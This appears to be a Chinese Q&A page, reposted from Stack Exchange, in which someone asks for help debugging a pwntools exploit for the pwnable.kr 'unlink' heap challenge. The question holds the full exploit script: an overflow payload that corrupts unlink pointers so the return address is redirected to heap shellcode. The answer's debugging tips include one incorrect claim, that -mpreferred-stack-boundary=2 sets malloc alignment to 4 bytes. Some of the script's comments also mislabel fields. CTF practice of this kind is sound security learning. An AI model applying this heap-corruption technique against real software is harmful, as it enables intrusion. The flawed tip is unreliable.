You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

pwnable.kr unlink挑战调试求助:无法用pwntools远程/本地调试

调试pwnable.kr unlink挑战时的问题及解决提示

问题背景

我最近在解决pwnable.kr平台的unlink挑战,使用pwntools进行远程调试和服务器本地调试时遇到了问题。本地运行程序时,堆布局与服务器不一致(推测服务器malloc对齐为4字节,本地为16字节),无法用于调试。注:我清楚当前漏洞利用代码存在问题,仅需调试相关的提示,无需修改漏洞代码。

漏洞利用代码

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *

exe = context.binary = ELF('unlink_local')

host = args.HOST or 'pwnable.kr'
port = int(args.PORT or 2222)
user = args.USER or 'unlink'
password = args.PASSWORD or 'guest'
remote_path = '/home/unlink/unlink'

# Connect to the remote SSH server
shell = None
if not args.LOCAL:
    shell = ssh(user, host, port, password)
    shell.set_working_directory(symlink=True)

def start_local(argv=[], *a, **kw):
    '''Execute the target binary locally'''
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)

def start_remote(argv=[], *a, **kw):
    '''Execute the target binary on the remote host'''
    if args.GDB:
        return gdb.debug([remote_path] + argv, gdbscript=gdbscript, ssh=shell, *a, **kw)
    else:
        return shell.process([remote_path] + argv, *a, **kw)

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.LOCAL:
        return start_local(argv, *a, **kw)
    else:
        return start_remote(argv, *a, **kw)

gdbscript = '''
tbreak main
continue
'''.format(**locals())

r = start()

stack_leak = r.recvline(keepends=False)
stack_leak = int(stack_leak.decode("latin-1").split(": ")[1], 16)
heap_leak = r.recvline(keepends=False)
heap_leak = int(heap_leak.decode("latin-1").split(": ")[1], 16)
ret_addr_on_stack = stack_leak + 0x28  # 0x28 is the offset between the leak and the return address location on
# the stack (checked in gdb via running the program multiple times and checking the offset)
shellcode_location_on_heap = heap_leak + 0x50

"""
Payload layout (in this exact order)
"""
A_buf = b"A" * 8  # A's buf variable (in the struct 'tagOBJ' in the source) overflow

B_prev_size = b"B" * 4  # B's prev_size variable (in malloc internals) overflow
B_size = b"C" * 4  # B's size variable (in malloc internals) overflow
B_fd = p32(ret_addr_on_stack - 0x4)  # B's fd pointer (in the struct 'tagOBJ') overflow   
B_bk = p32(shellcode_location_on_heap)  # 0x080484eb  # B's bk pointer (in the struct 'tagOBJ') overflow      ----- shell() function address
B_buf = b"D" * 8  # B's buf variable (in the struct 'tagOBJ') overflow

C_prev_size = b"E" * 4  # B's prev_size variable (in malloc internals) overflow
C_size = b"F" * 4  # B's size variable (in malloc internals) overflow
C_fd = b"PPPP"  # C's fd pointer (in the struct 'tagOBJ') overflow      ----- empty (doesn't point anywhere)
C_bk = b"LLLL"  # C's bk pointer (in the struct 'tagOBJ') overflow      ----- RET ADDRESS LOCATION ON STACK

payload = A_buf + B_prev_size + B_size + B_fd + B_bk + B_buf + C_prev_size + C_size + C_fd + C_bk
with open("inp", "wb") as f:
    f.write(payload)

r.sendlineafter(b'now that you have leaks, get shell!\n', payload)
r.interactive()

远程调试错误

运行远程调试时,服务器返回如下错误:

[DEBUG] Received 0x8f bytes:
    '/build/gdb-9un5Xp/gdb-7.11.1/gdb/gdbserver/regcache.c:264:\n'
    'A problem internal to GDBserver has been detected.\n'
    'Unknown register ymm0h requested\n'

服务器本地调试错误

在服务器上通过tmux使用pwntools调试,或者直接用gdb附加进程时,均触发如下错误:

Attaching to program: /home/unlink/unlink, process 50201
Could not attach to process.  If your uid matches the uid of the target
process, check the setting of /proc/sys/kernel/yama/ptrace_scope, or try
again as the root user.  For more details, see /etc/sysctl.d/10-ptrace.conf
ptrace: Operation not permitted.
/tmp/tal/50201: No such file or directory.
Breakpoint 1 at 0x804851e
(gdb)

调试问题解决提示

针对远程调试的Unknown register ymm0h错误

  • 该问题源于本地gdb与服务器gdbserver版本不匹配导致的寄存器兼容问题。pwnable.kr的gdbserver为7.11.1版本,可在本地安装同版本gdb,并在pwntools中指定路径:
    context.gdb_path = "/path/to/gdb-7.11.1"
    
  • 也可在gdbscript中强制设置32位架构,避免64位寄存器相关问题:
    set architecture i386
    tbreak main
    continue
    

针对服务器本地调试的ptrace: Operation not permitted错误

  • pwnable.kr普通用户环境默认限制ptrace权限,无法直接附加调试,可采用以下替代方案:
    1. 使用strace查看系统调用流程,做基础调试:
      strace ./unlink
      
    2. 调整本地环境模拟服务器堆布局:
      • 编译本地程序时,通过编译选项-mpreferred-stack-boundary=2强制设置malloc对齐为4字节
      • 对比本地与服务器的堆/栈泄露地址,计算偏移差异,在本地模拟服务器内存布局

内容的提问来源于stack exchange,提问作者talsim

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.08.18 02:10:18